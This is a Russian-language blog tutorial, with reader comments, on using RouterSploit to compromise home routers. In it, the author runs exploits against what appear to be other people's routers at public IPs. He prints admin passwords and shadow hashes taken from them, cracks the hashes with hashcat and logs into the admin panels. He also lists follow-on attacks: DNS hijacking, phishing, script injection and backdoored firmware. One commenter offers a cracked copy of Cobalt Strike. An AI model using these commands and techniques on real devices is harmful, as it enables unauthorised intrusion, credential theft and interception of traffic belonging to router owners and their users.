Инструкция по использованию RouterSploit


RouterSploit VS Router Scan by Stas’M

Программы RouterSploit и Router Scan by Stas’M предназначены для компрометации роутеров. Но они очень разные, чтобы в этом убедиться, достаточно взглянуть на их скриншоты. Это Router Scan by Stas’M:

03

А это RouterSploit (да, там нет графического интерфейса):

01

Кроме общей цели, у программ можно найти ещё несколько общих черт:

  • обе программы пытаются зайти на проверяемое устройство с заводскими учётными данными
  • проводят брутфорс по небольшим высокоэффективным словарям
  • используют эксплойты для роутеров.

Различий намного больше. Router Scan by Stas’M имеет несколько модулей сканирования, основной из которых имеет реализацию двух методов проверки, а остальные расширяют функциональность. Основной модуль сканирования достаточно быстро ищет цели. Проверка проходит полностью автоматически: перебор учётных данных, использования эксплойта, если он имеется для данной модели. Все результаты выводятся в интуитивно понятном и гибком в настройке графическом интерфейсе, а также могут быть сохранены в файлы разных форматов. В целом, и задумка, и реализация Router Scan by Stas’M выполнены на 5+, и программа уже давно приобрела свою заслуженную популярность.

В RouterSploit всё по-другому: без графического интерфейса, все цели задаются вручную, причём нельзя задать подсеть – каждый роутер нужно указывать индивидуально. Если уязвимость заключается в удалённом выполнении кода, то именно шелл для удалённого выполнения кода вы и получаете (не во всех эксплойтах автоматически раскручивается уязвимость до получения логина и пароля).

Даже количество эксплойтов и поддерживаемых роутеров у этих программ разное. В RouterSploit больше реализовано эксплойтов чем в последней публичной версии Router Scan by Stas’M. Также RouterSploit поддерживает брутфорс различных сетевых служб. Что качается поддержки роутеров для проверки/брутфорса учётных данных, то здесь список у Router Scan by Stas’M длиннее, хотя у RouterSploit есть универсальные модули, которые могут применяться для различных моделей. Хотя эти модули всё равно нужно настраивать вручную, и не каждый сумеет справиться со всеми параметрами HTTP формы.

Router Scan by Stas’M «из коробки» поддерживает использование прокси, а в RouterSploit таких опций нет.

Вывод следующий: это две довольно разные программы, и если не достигнут результат с помощью одной, то следует попробовать вторую.

Проверка на уязвимость по всем эксплойтам в RouterSploit

Зачаточная автоматизация в RouterSploit всё-таки присутствует. Можно, по крайней мере, проверить один роутер на подверженность сразу всеми эксплойтами. Для этого есть модуль autopwn. В качестве тестового роутера возьмём роутер на IP 83.17.188.82 и на порту 80.

Запустите RouterSploit. В зависимости от способа установки это делается так:

routersploit

или так:

./rsf.py

В запущенном RouterSploit вводим (используйте TAB для автоматического завершения):

use scanners/autopwn

02

Введём

show options

чтобы посмотреть опции:

03

В данном случае нам нужно установить IP:

set target 83.17.188.82

Порт устанавливать не нужно, поскольку он совпадает с портом по умолчанию. В противном случае для установки порта используется примерно такая команда:


set port 80

04

Для запуска модуля достаточно набрать

run

05

06

Строки

[+] exploits/dlink/dir_645_815_rce is vulnerable
[+] exploits/dlink/dir_300_600_rce is vulnerable
[+] Device is vulnerable!
 - exploits/dlink/dir_645_815_rce
 - exploits/dlink/dir_300_600_rce

говорят нам о том, что роутер уязвим к двум эксплойтам.

Чтобы отменить выбор модуля наберите

back

или сразу выберите другой модуль.

Проверка в RouterSploit на подверженность эксплойтам роутера определённого производителя

Если мы знаем производителя тестируемого роутера, но не знаем его точную модель, и при этом не хотим проверять его всеми эксплойтами, то мы можем воспользоваться сканером эксплойтов, которые при сканировании задействуют только определённые модули.

Допустим, я знаю, что тестируемый роутер произведён D-Link. Тогда я выбираю соответствующий сканер:

use scanners/dlink_scan

Смотрю его опции:

show options

Устанавливаю цель:

set target 83.17.188.82

И запускаю:

run

Результат совпадает с предыдущим, но времени потрачено меньше и меньше сделано запросов:

07


Проверка в RouterSploit на конкретную уязвимость

Производителя роутера и его модель можно узнать разными способами. Иногда достаточно посмотреть на страницу аутентификации:

17

Если мы знаем производителя роутера (D-Link) и его модель (DIR-300), и среди эксплойтов мы нашли нечто созвучное - dlink/dir_300_600_rce, то мы можем проверить, уязвим ли тестируемый роутер именно к этому эксплойту.

Выбираем его для использования:

use exploits/dlink/dir_300_600_rce

Смотрим информацию о нём:

show info

09

Как видим, наше устройство присутствует в списке уязвимых.

Установим цель (и порт, если это необходимо):

set target 83.17.188.82

Если мы не хотим эксплуатировать уязвимость, а хотим только проверить, подвержен ли роутер этой уязвимости, то проверка запускается так:

check

10

Как видим, цель уязвима.

Использование эксплойтов RouterSploit

После того, как вы нашли уязвимость, которой подвержен роутер, выберите соответствующий модуль:

use exploits/dlink/dir_300_600_rce

Установим цель (и порт, если это необходимо):

set target 83.17.188.82

И запустите эксплуатацию:

run

Посмотрите на изменившееся приглашение командной строки:


cmd >

11

Оно означает, что вводимые команды будут переданы непосредственно на уязвимый роутер:

Использование результатов RouterSploit

Эксплойты RouterSploit позволяют:

  • получить пароль в виде простого текста
  • получить пароль в виде MD5 хеша
  • выполнять команды на удалённом роутере
  • лазить по директориям роутера и скачивать файлы
  • аутентифицироваться без пароля
  • изменять пароль

Все уязвимости в той или иной мере позволяют изменять настройки сетевого оборудования для реализации последующих атак. Рассмотрим векторы атак несколько подробнее.

Использование учётных данных, полученных в открытом виде

Варианты, которые дают возможность аутентифицироваться (пароль в открытом виде, аутентификация без пароля, изменение пароля) сводятся к тому, что мы получаем вход в административную панель роутера и полный контроль над его настройками.

Это даёт возможность атакующему:

  • перепрошить роутер прошивкой с закладками (сложный вариант, требует навыков распаковки/упаковки прошивок встроенных устройств, глубокое понимание работы ОС Linux; доступно не для всех роутеров, но в случае успеха даёт безграничные возможности управления роутером и слежения за трафиком);
  • оставить пользователей роутера без Интернет-подключения (простой вариант, достаточно изменить настройки на неверные);
  • если роутер поддерживает ту или иную реализацию VPN, то возможно подключить его к специально настроенному VPN злоумышленника, при этом становятся доступны все возможности атаки человек-посередине (пример концепта здесь);
  • узнать пароль от Wi-Fi, включить модуль Wi-Fi если он отключён (в случае особой важности, можно прибыть в место расположения роутера, для проведения атаки человек-посередине);
  • изменение настроек DNS на IP вашего (подложного) DNS (вариант средней сложности, более подробно про DNS прокси будет чуть ниже).

Всё сказанное справедливо для обхода аутентификации и уязвимостей, позволяющих изменить пароль.

Как использовать удалённое выполнение кода на роутерах

Имея возможность выполнять команды на роутере, можно попытаться найти пароль от его административной панели. Прошивка роутера – это сильно облегчённый, обрезанный Linux. Обычно из-за ограниченности ресурсов на роутере не устанавливаются серверы СУБД, поэтому пароль должен храниться где-то прямо в обычном текстовом файле. Конкретное расположение пароля, а также его вид (в открытом виде или в виде хеша) зависит от конкретной модели роутера.

Я покажу пример удачного поиска пароля, думаю, общий смысл будет понятен.

Возвращаемся к роутеру, который мы тестировали выше. Как я уже сказал, на роутерах ОС сильно обрезана и в ней могут отсутствовать многие привычные команды, такие как find и locate, с помощью которых можно было бы ускорить поиск файлов по их имени и содержимому.

Тем не менее, бывает достаточно двух команд

ls -l путь_до_каталога # для просмотра файлов, содержащихся в директориях
cat имя_файла # для просмотра содержимого файлов

Посмотрим содержимое корневой директории:

ls -l /

14

В папке /etc ничего похожего на файл с паролем я не нашёл:

cmd > ls -l /etc
drwxrwxr-x    3 0        0              27 Oct 27  2011 templates
drwxrwxr-x   17 0        0            3547 Oct 27  2011 services
drwxrwxr-x    6 0        0             961 Oct 27  2011 scripts
lrwxrwxrwx    1 0        0              20 Oct 27  2011 resolv.conf -> /var/etc/resolv.conf
lrwxrwxrwx    1 0        0              12 Oct 27  2011 ppp -> /var/etc/ppp
lrwxrwxrwx    1 0        0              17 Oct 27  2011 iproute2 -> /var/etc/iproute2
drwxrwxr-x    2 0        0             251 Oct 27  2011 init0.d
drwxrwxr-x    2 0        0             178 Oct 27  2011 init.d
lrwxrwxrwx    1 0        0              10 Oct 27  2011 hosts -> /var/hosts
drwxrwxr-x    2 0        0            1204 Oct 27  2011 events
drwxrwxr-x    2 0        0             390 Oct 27  2011 defnodes
drwxrwxr-x    2 0        0             187 Oct 27  2011 config
lrwxrwxrwx    1 0        0               7 Oct 27  2011 TZ -> /var/TZ
-rw-rw-r--    1 0        0             512 Oct 27  2011 RT5350_AP_1T1R_V1_0.bin

Зато в папке /var

cmd > ls -l /var
drwxr-xr-x    4 0        0               0 Jan  1 00:00 etc
drwxr-xr-x    2 0        0               0 Jan  1  1970 log
drwxr-xr-x    2 0        0               0 Jan  4 01:01 run
drwxr-xr-x    2 0        0               0 Jan  1  1970 sealpac
drwxr-xr-x    2 0        0               0 Jan  4 01:01 tmp
drwxr-xr-x    2 0        0               0 Jan  1  1970 dnrd
drwxr-xr-x    4 0        0               0 Jan  1  1970 htdocs
-rw-r--r--    1 0        0              46 Jan  1 00:00 TZ
-rw-r--r--    1 0        0              14 Jan  1  1970 hosts
drwxr-xr-x    2 0        0               0 Jan  1 00:00 servd
-rw-r--r--    1 0        0              23 Jan  1 00:00 passwd
drwxr-x---    2 0        0               0 Jan  3 05:15 session
srwxr-xr-x    1 0        0               0 Jan  1 00:00 logs
srwxr-xr-x    1 0        0               0 Jan  1 00:00 gpio_ctrl
-rwxr-xr-x    1 0        0             346 Jan  1 00:00 killrc0
drwxr-xr-x    2 0        0               0 Jan  1 00:00 porttrigger
-rw-r--r--    1 0        0             336 Jan  1 00:00 lld2d.conf
-rw-r--r--    1 0        0               0 Jan  3 12:27 ping_result
-rw-r--r--    1 0        0               0 Jan  4 01:01 cmd.result

Обнаружился файл passwd. Посмотрим его:

cat /var/passwd
"admin" "szafazpl" "0"

15

Кажется, всё оказалось даже проще, чем я предполагал.

Полазив ещё немного, я обнаружил ещё один файл:

cat /var/etc/hnapasswd
admin:szafazpl

16

Зайдём на страницу аутентификации:

17

Смотрите какая красота, даже есть капча. К сожалению, в данном случае это не помогло владельцу роутера. Вводим учётные данные admin:szafazpl и мы внутри:

18

Примерно также следует действовать при уязвимости «лазание по каталогам» (path traversal).

Если так просто найти пароль не удаётся, то нужно исследовать исходный код HTML страниц и скриптов, отвечающих за аутентификацию, чтобы определить, к каким файлам они обращаются. Если на это хватает привилегий, можно модифицировать исходный код этих файлов, чтобы при получении пароля они сохраняли его в открытом виде.

Ещё один пример – проверю свой собственный роутер (вам тоже рекомендую начать с этого). Обычно роутеры в локальной сети имеют IP 192.168.0.1 или 192.168.1.1, веб-интерфейс обычно «висит» на портах 80 или 8080. Чтобы точно узнать IP своего роутера наберите


ip route

Будет выведено что-то вроде:

default via 192.168.0.1 dev eth0  proto static 
192.168.0.0/24 dev eth0  proto kernel  scope link  src 192.168.0.133  metric 1

Здесь 192.168.0.1 – это и есть IP роутера.

Можете также использовать команду в одну строку:

ip route show | grep -Ei 'default via' | awk '{ print $3 }'

Она сразу выведет нужный IP:

01

У меня Asus RT-N66U, поэтому:

rsf > use scanners/asus_scan
rsf (Asus Scanner) > set target 192.168.0.1
[+] {'target': '192.168.0.1'}
rsf (Asus Scanner) > run
[*] Running module...
[+] exploits/asus/infosvr_backdoor_rce is vulnerable
[-] exploits/asus/rt_n16_password_disclosure is not vulnerable
[*] Elapsed time:  0.0813660621643 seconds

[+] Device is vulnerable!
 - exploits/asus/infosvr_backdoor_rce

02

К моему ужасу, роутер оказался уязвимым. В этой ситуации мои километровые пароли со спец. символами потеряли свою силу. Давайте углубимся:

rsf (Asus Scanner) > use exploits/asus/infosvr_backdoor_rce
rsf (Asus Infosvr Backdoor RCE) > set target 192.168.0.1
[+] {'target': '192.168.0.1'}
rsf (Asus Infosvr Backdoor RCE) > run
[*] Running module...
[+] Target is vulnerable
[*] Invoking command loop...
[*] Please note that only first 256 characters of the output will be displayed or use reverse_tcp
cmd >

03

Нас предупреждают, что будут показаны только первые 256 символов. Если нас это не устраивают, то рекомендуют использовать reverse_tcp (например, с netcat). В связи с этим команда ls -l превращается просто в ls, чтобы в выводе было больше полезной информации.

В этом роутере имена пользователей и их пароли хранятся в типичных для ОС Linux файлах:

cmd > cat /etc/passwd
rootforroute:x:0:0:rootforroute:/root:/bin/sh
nas:x:100:100:nas:/dev/null:/dev/null
nobody:x:65534:65534:nobody:/dev/null:/dev/null
rootforroute:x:500:500:::
mial:x:501:501:::

cmd > cat /etc/passwd.custom
rootforroute:x:500:500:::
mial:x:501:501:::

cmd > cat /etc/shadow
rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:
nobody:*:0:0:99999:7:0:0:
nas:*:0:0:99999:7:0:0:

04

В операционных системах Linux информацию о пользователях можно узнать из файла /etc/passwd. Не смотря на название, в этом файле больше нет паролей. Уже достаточно давно они переехали в файл /etc/shadow, причём хранятся там в виде хешей. Подробности о взломе паролей из файла /etc/shadow ниже.

Взлом MD5 хеша пароля

Чтобы можно было использовать пароль в виде MD5 хеша, его нужно расшифровывать брутфорсом. Для начала попробуйте MD5 хеш просто загуглить, есть вероятность, что он сразу найдётся в одной из радужных таблиц.

Если с радужными таблицами не повезло, то брутфорсить лучше с использованием видеокарты и программы Hashcat. Шансы на удачу очень велики, поскольку MD5 очень быстро считается а, следовательно, и перебирается. Например, на моём стареньком ноутбуке (и процессор и видеокарта с индексом M, т.е. мобильные, т.е. с пониженным потреблением энергии и, следовательно, пониженной производительностью (процессор Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz и видеокарта Radeon HD 7870M)) перебор идёт со скоростью 1300 мегахешей в секунду, т.е. 1.300.000.000 хешей в секунду. На современных настольных компьютерах с хорошей видеокартой должно получаться минимум на один порядок больше (плюс ещё один ноль в конце). А на специально собранных для перебора хешей компьютерах с несколькими видеокартами, вполне возможно достижения скоростей больших чем у меня на два порядка. Т.е. у пароля средней длины (6-10 символов) в котором использовались большие и маленькие буквы, а также цифры, не остаётся шансов остаться не узнанным.

Пример запуска перебора хеша:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8  8743b52063cd84097a65d1633f5c74f5 ?1?1?1?1?1?1?1?1?1

Здесь:

  • C:\Users\Alex\Downloads\hashcat-3.10\ - путь до папки, где расположена программа Hashcat
  • hashcat64.exe – файл программы – у меня 64-битная система
  • --opencl-device-types 1,2 – определённые фиксы для моей системы (подробности здесь)
  • -a 3 – выбор атаки по маске
  • -1 ?l?d?u – пользовательский набор символов, включает в себя большие и маленькие буквы, а также цифры
  • -m 0 – номер хеша (для каждого вида хеша нужно смотреть его персональный номер в справке. 0 соответствует MD5)
  • -i – включить приращение маски (увеличение количества символов)
  • --increment-min=1 – начать искать хеши с односимвольных кандидатов в пароли
  • --increment-max=8 – остановить приращение на 8 символах
  • 8743b52063cd84097a65d1633f5c74f5 – хеш, который нужно взломать
  • ?1?1?1?1?1?1?1?1?1 – маска (в данном случае 8 пользовательских символов, которые заданы выше).

13

Чтобы лучше разбираться в работе Hashcat, рекомендуется ознакомиться с её справкой и доступным материалом по этой программе.

Но иногда нужно включить голову, а не перебор на видеокарте. Давайте рассмотрим пример:

Имеется роутер 151.28.181.138. Это какая-то модель Belkin. Соответственно:

use scanners/belkin_scan
set target 151.28.181.138
run

01

Сразу две уязвимости. Одна заключается в обходе аутентификации, а вторая в раскрытии пароля. Хочу пароль!

rsf (Belkin Scanner) > use exploits/belkin/g_n150_password_disclosure
rsf (Belkin G & N150 Password Disclosure) > set target 151.28.181.138
[+] {'target': '151.28.181.138'}
rsf (Belkin G & N150 Password Disclosure) > run
[*] Running module...
[+] Exploit success

   Login     MD5 Password                         
   -----     ------------                         
   admin     8c9ba6053738777b4f88129c174fe2fc   

02

Нельзя сказать, что совсем нет результата. Как я уже сказал, MD5 хорошо поддаётся брутфорсу, поэтому я зарядил команду:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8 8c9ba6053738777b4f88129c174fe2fc ?1?1?1?1?1?1?1?1?1

Но пока система привычно шумит вентиляторами, решил попробовать второй эксплойт:

rsf (Belkin G & N150 Password Disclosure) > use exploits/belkin/auth_bypass
rsf (Belkin Auth Bypass) > set target 151.28.181.138
[+] {'target': '151.28.181.138'}
rsf (Belkin Auth Bypass) > run
[*] Running module...
[+] Exploit success, you are now logged in!
rsf (Belkin Auth Bypass) >

03

Эксплойт оказался успешным и говорит, что я внутри. Судя по всему, нужно открыть браузер:

04

Я и правда внутри. Можно побродить по настройкам, но я случайно увидел мою любимую опцию «Save/Backup Settings».

05

Сохраняю файл с настройками себе.

Открываю его и ищу по ключевому слову «pass», там имеется несколько строк с таких вхождением, в том числе такие две строчки:

wan0_pppoe_passwd=razorjack
dsl3_pppoe_passwd=razorjack

И хотя понятно, что это не пароль от устройства, тем не менее, видно, что пользователь имеет склонность использовать одинаковые пароли. А что если…

echo -n razorjack | md5sum
8c9ba6053738777b4f88129c174fe2fc

Ну точно, 8c9ba6053738777b4f88129c174fe2fc – это хеш от razorjack.

Нажимаю в верхнем правом углу Logout, затем Login и вхожу как белый человек с паролем, а не через «чёрный вход».

Взлом хешей из файла /etc/shadow

Чуть выше я добыл следующую строку из файла /etc/shadow роутера:

rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:

Т.е. имя пользователя в системе rootforroute, а пароль сохранён в виде хеша.

Ещё несколько примеров из разных систем (в том числе настольных Linux):

mial:$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01:16964:0:99999:7:::

root:$6$DCSszlW5$HTYUvmUbb2QthFKs/RtTpMGaUF/DFc1MKRHkzrvybER2EORG3Mmnjojrh0aZ/BzbQv5UU51Ydf2.2P38yeDQU1:16964::::::

root:$6$cdL/Ap7b$UZjDNb6QKZEDgeScAzt0HO3p9WxEGdg6bOtVRyd.kwS/oUpMl23cBqkAtiQb/xI

mial:$6$bHrtO6qB$YlE/hUkde6k.fNQkIVFqph6mfRwZme8mWb/yOANj7fyon3q.b6A7pxuMleOEk3U

Обратите внимание на цифры 1 и 6 между знаками $. Также ещё там могут быть цифры 2 и 5. Они означают алгоритм хеша. Расшифровка следующая:

  • 1 = MD5
  • 2 = Blowfish
  • 5 = SHA-256
  • 6 = SHA-512

В Hashcat хеши имеют следующие номера:

    500 | md5crypt $1$, MD5(Unix)
   3200 | bcrypt $2*$, Blowfish(Unix)
   7400 | sha256crypt $5$, SHA256(Unix)
   1800 | sha512crypt $6$, SHA512(Unix)

В строках вида

rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:

хеш для взлома (там ещё есть соль, но в данном случае это не важно) расположен между первым и вторым двоеточием, т.е. в приведённой строке хешем для взлома является

$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.

В команде для Hashcat нужно указать соответствующий номер хеша (-m 500), получается следующая команда для конкретно данного примера:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 500 -i --increment-min=1 --increment-max=8  $1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR. ?1?1?1?1?1?1?1?1?1

Ещё один пример строки из /etc/shadow:

mial:$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01:16964:0:99999:7:::

Хеш для взлома также расположен между первым и вторым двоеточием, это

$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01

Указываем соответствующий номер хеша (-m 1800):

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 1800 -i --increment-min=1 --increment-max=8  $6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01 ?1?1?1?1?1?1?1?1?1

Использование смены DNS на роутере

Некоторые эксплойты не могут ничего, кроме как поменять настройки DNS. Естественно, имея пароль от учётной записи администратора, также можно поменять DNS. Даже без пароля администратора, но имея возможность выполнять команды на роутере, можно отредактировать конфигурационный файл для смены сервера имён.

Смена DNS на свой DNS прокси может дать следующее:

  1. Блокировка Интернет-подключения на роутере (делается просто, но, скорее всего, также быстро будет исправлена владельцем роутера)
  2. Сбор статистики о посещённых ресурсах и установленном ПО у клиентов роутера
  3. Выполнение фишинговых атак для кражи паролей (кроме DNS прокси требуется настройка веб-сервера)
  4. Внедрение кода на веб-страницы (например, для JQuery, встраиваемого в сайты посредством CDN, подменяется DNS сервера CDN, в результате код JQuery подгружается с сервера злоумышленника, который кроме самой библиотеки, добавил злонамеренный код, показывающий рекламу, ворующий пароли, следящий на нажатыми клавишами или выполняющий фишинговые и т.п. атаки)
  5. Фишинговые атаки с целью заражения бэкдором компьютеров пользователей роутера.

Некоторые приёмы работы с DNS прокси показаны в статье "Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS".

Проверка заводских паролей и брутфорс учётных данных в RouterSploit

RouterSploit позволяет проверять заводские пароли и брутфорсить следующие службы:

  • ftp
  • ssh
  • telnet
  • http basic auth
  • http form auth
  • snmp

На роутерах обычно используется http аутентификация через форму или http basic аутентификация. Остальные службы ftp, ssh, telnet и snmp встречаются не особо часто. Чтобы определить, запущены ли они на роутере, нужно просканировать открытые порты:

sudo nmap IP_роутера

Стандартными портами служб ftp, ssh, telnet и snmp являются порты 21, 22, 23 и 161.

Соответствующие модули расположены в директории creds и вряд ли возникнут проблемы при использовании модулей для служб http basic auth, ftp, ssh, telnet и snmp. Даже файлы с паролями уже поставляются с программой и уже выбраны в качестве значений опций по умолчанию. Только обратите внимание, что каждый модуль имеется в двух вариантах: один проверяет заводские пароли, а второй осуществляет перебор по словарю.

Что касается http аутентификации с использованием формы, то здесь абсолютно те же сложности, что и при брут-форсе форм веб-сайтов. Это отдельная непростая наука, чтобы примерно понимать сложности и порядок действий, рекомендуется прочитать «Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa».

Заключение

RouterSploit имеет хорошую коллекцию эксплойтов и достаточно удобную организацию работы с ними в отношении отдельных роутеров.

Реализация модуля HTTP аутентификации через форму (пожалуй, самый распространённый вариант входа в настройки роутера) можно считать сделанной для галочки. В том виде, как он сделан сейчас, практически никто не сможет им воспользоваться. А те, кто смогут всё правильно в нём настроить, скорее всего, воспользуются более привычным для них инструментом, тем же самым patator.

Модуль HTTP аутентификации через форму должен быть сделан персонально для каждой модели роутера, как это реализовано в Router Scan by Stas’M – иначе в нём нет смысла.

Для реализации подобного, необходимо предварительно создать модули для точного определения версий и соответствующую БД, что, судя по всему, даже не входит в планы.

Аналогично с эксплойтами для удалённого выполнения кода. Для большинства моделей ничто не мешало авторам добавить пару строк для считывания и вывода логина и пароля, вместо показа приглашения командной строки.

Конечно я помню, что RouterSploit бесплатен, с открытым исходным кодом. И если в подобных программах что-то не хватает, то нужно не жаловаться, а самому доделывать для себя и сообщества. Главное ощущение, которое осталось от этой программы – хочется всё переделать, сделать лучше, логичнее, законченнее и проще.


Рекомендуется Вам:

19 комментариев to Инструкция по использованию RouterSploit

  1. Oleg:

    Здравствуйте, с удовольствием и часто читаю вши сайты. Было бы не лишним предупредить пользователей от эксперементов с программой Router Scan by Stas’M в своей домашней сети, пароли от wifi полученные данной программой потом появляються в объединенной базе (подробнее можете найти на форуме античат). Я запустил его в своей локалке со стандартным паролем на вход у роутера (admin:admin), а потом обнаружил данные от wifi в базе.

    • Alexey:

      Эта функция появилась в последней версии. При первом запуске Router Scan by Stas’M спрашивает, хотим ли мы отправлять данные. По умолчанию там стоит галочка чтобы отправлять – нужно быть внимательным при первом запуске. Также в настройках можно включить/отключить отправление.

      Про это и про другие особенности (анонимность, дополнительные модули, тонкая настройка) в первой части инструкции по использованию Router Scan by Stas’M, которая всё никак не допишется. ((

      Если говорить про предупреждения, то также надо предупреждать, что перебор хешей может перегреть компьютер или его компоненты (я сам на своём ноуте «сварил» аккумулятор), плюс различные юридические риски – где заканчивается исследование и начинается состав какого-нибудь «компьютерного» преступления. Это я всё понимаю, только не совсем ясно как лучше делать: писать предупреждения к каждой статье или вынести их в отдельные, будет ли их кто читать и воспринимать всерьёз; если в каждой заметке, не будут ли они загромождать и так не особо короткие статьи – например, здесь я рассказываю про одну программу, но при этом перешёл на перебор хешей, на устройство файловой системы Linux, на команды Linux, брут-форс форм веб-сайтов, DNS и т.п. – и это ещё я вырезал пару разделов, например, про поиск уязвимых роутеров с помощью shodan и сканеров (nmap, masscan). Я к тому, что предупреждение про Router Scan by Stas’M было бы не совсем здесь уместным, т.к. я говорю про другую программу.

      Спасибо, что читаете, стараюсь найти золотую середину между азами на грани «воды» и слишком узкоспециальными вещами, чтобы было доступно для восприятия начинающим, но и несло дополнительную информацию для тех, кто в чём-то подобном уже разбирается. Надеюсь, последующий материал будет также интересен для вас.

  2. dik:

    Здравствуйте Алексей. Спасибо за ваши статьи. Очень интересные. Я как-то в одном комментарии уже выразил предложение включить в Ваши статьи и тему роутерсплойта. Но не ожидал, что она окажется на столько хорошей. А по поводу предупреждений - и на форму античата и в инструкции все расписано по поводу отключения автоматической отправки данных. Вы абсолютно правы, что не стоит загромождать полезный материал мелочами. Кстаи, а почему вы вырезали статьи по поиску уязвимостей nmap, masscan ? Это тоже очень интересная тема. И была-бы полезна начинающим пентестерам. Ничего противозаконного в этом вродебы нет. кстати, а статью про Cobalt Strike не планируете? Очень популярная тема. Большинство взломов а настоящее время на западе осуществляются с ее помощью. Если интересно - вот для затравки https://stackoff.ru/prodlevaem-srok-sluzhby-cobalt-strike/

    • dik:

      кстати, есть еще одна хорошая особенность роутерскана в связке с роутерсплойтом. роутерскан можно еще использовать как сканер для выявления целевых роутеров. например просканировав диапазон зачастую можно выявить роутеры которые не взял роутерсплойт, но вытащил полезную инфу.например - производителя роутера который потом будем проверять роутерсплойтом.

    • Alexey:

      Спасибо за положительный отзыв.

      Я про Cobalt Strike до вашего комментария не знал.

      Ничего не имею против коммерческих программ, но я, когда про них читаю на сайтах (например, про платные функции Burp Suite), у меня из головы не выходит одна и та же мысль – как авторы аффилированы с этой программой и не проплаченный ли это материал? Не хочу, чтобы что-то такое про меня думали.

      И я уверен, что в комментариях сразу начнётся обсуждение где бесплатно взять ключ для неё, ссылки на кряк и т.д. Если эти комментарии не удалять, то могут быть проблемы и с AdSense (реклама), и получить (заслуженную) поисковую пессимизацию.

      Ещё одно соображение про платные программы: для тех, кто покупает лицензию, уверен, предостаточно профессионального материала от производителя, может быть, даже тренинги какие-нибудь (платные или бесплатные). Вряд ли они будут читать мои заметки. Т.е. широкой аудитории мой материал может оказаться неинтересен.

      Не исключаю появления заметок/инструкций по платным инструментам, но не знаю, когда до них могут дойти руки. Думается, нужно научиться извлекать максимум уже из того, что и так доступно бесплатно.

      Про поиск роутеров, автоматизированное использование RouterSploit (без участия человека для ввода команд и проверки на уязвимость) и другие аспекты, наверное, лучше вынести во вторую часть. Мне кажется, слишком длинные статьи многих отпугивают – открыл, пролистал, офигел, не читая закрыл.

      • R0ckNR0lla:

        Здраствуйте. Если Вы намерены писать статью с подробным мануалом по CobaltStrike, то могу предоставить взломаную версию данного софта. 

  3. Руслан:

    Первым делом хочу поблагодарить автора за статью, да и вообще отметить данный сайт как очень познавательным, если и описывается какая то программа то по максимум. А теперь к сути. После того как начал тестить routersploit был приятно удивлен его работай. Особенно в связи трудовой деятельностью очень понравились функции как подбор паролей к web мордам. Я знаю что есть такие программы как hydra и medusa, patator, но rsf как то прям понравился. Но возникла проблема: если подбираю пароль по http_basic_brute или dafault к различным роутерам и точкам все нормально, ну во всяком случаии на каких пробовал. Но как только пытаюсь подобрать пароль к Zyxel Keenetic то ни хочет ни в какую. С чем это связано, с крывыми руками))) или с какими то особенностями данных устройств. Если есть какая то информация подскажите пожалуйста. Спасибо. 

    • Alexey:

      Возможно, на роутерах, где всё проходит удачно, используется Basic (Базовая) аутентификация, а на роутерах, где не получается перебор учётных данных, аутентификация выполняется через веб-форму или используется Дайджест-аутентификация.

      Если вход выполняется через веб-форму, то перебор паролей ничем не отличается от брут-фрса веб-сайтов, т.е. нужно определить все поля, которые необходимо передать, узнать имена полей для ввода логина и пароля и правильно сформировать передаваемую для входа строку; может понадобиться передача кукиз, определённых заголовков или маркеров (токенов). Т.е. для брут-форса веб-формы не может быть универсального плагина – всё должно быть сделано индивидуально, причём не только для определённого производителя, но и для каждой конкретной модели роутера.

  4. Hton:

    Интересно, а как узнать внешнии ip роутеров?

  5. Руслан:

    Alexey подскажите пожалуйста почему rsf не хочет запускаться выдает ошибку 

    Traceback (most recent call last):
      File "./rsf.py", line 10, in <module>
        from routersploit.interpreter import RoutersploitInterpreter
      File "/opt/routersploit/routersploit/interpreter.py", line 10, in <module>
        from future.builtins import input
    ModuleNotFoundError: No module named 'future'

    Хотя команды 

    sudo pip install -U setuptools
    sudo pip install -r requirements.txt

    выполнены

    и с sudo и без!! Система Kubuntu 18.04/Раньше все прекрасно работало правда на проостой Ubuntu только 17.10. Если ставить из репы то нормально ставится и работает но там меньше модулей поэтому хочу с GitHub. Помогите пожалуйста.

    и кстаи когда пишу sudo pip install -U setuptools то выдает 

    Requirement already up-to-date: setuptools in /usr/local/lib/python2.7/dist-packages

    Это нормально?

    Спасибо

    • Alexey:

      Приветствую! Какую версию выводит команда:

      python -V

      Если там вторая версия, т.е. что-то вроде Python 2.x.x, то пробуйте так:

      sudo pip3 install -U setuptools
      sudo pip3 install -r requirements.txt

      Просьба написать, помогло или нет.

  6. Alexey:

    Здесь поправил инструкции по установке. Если кто-то будет ставить в Debian, Ubuntu или Linux Mint – просьба написать, всё ли прошло нормально? У меня самого сейчас нет возможности проверить на этих системах.

    • Руслан:

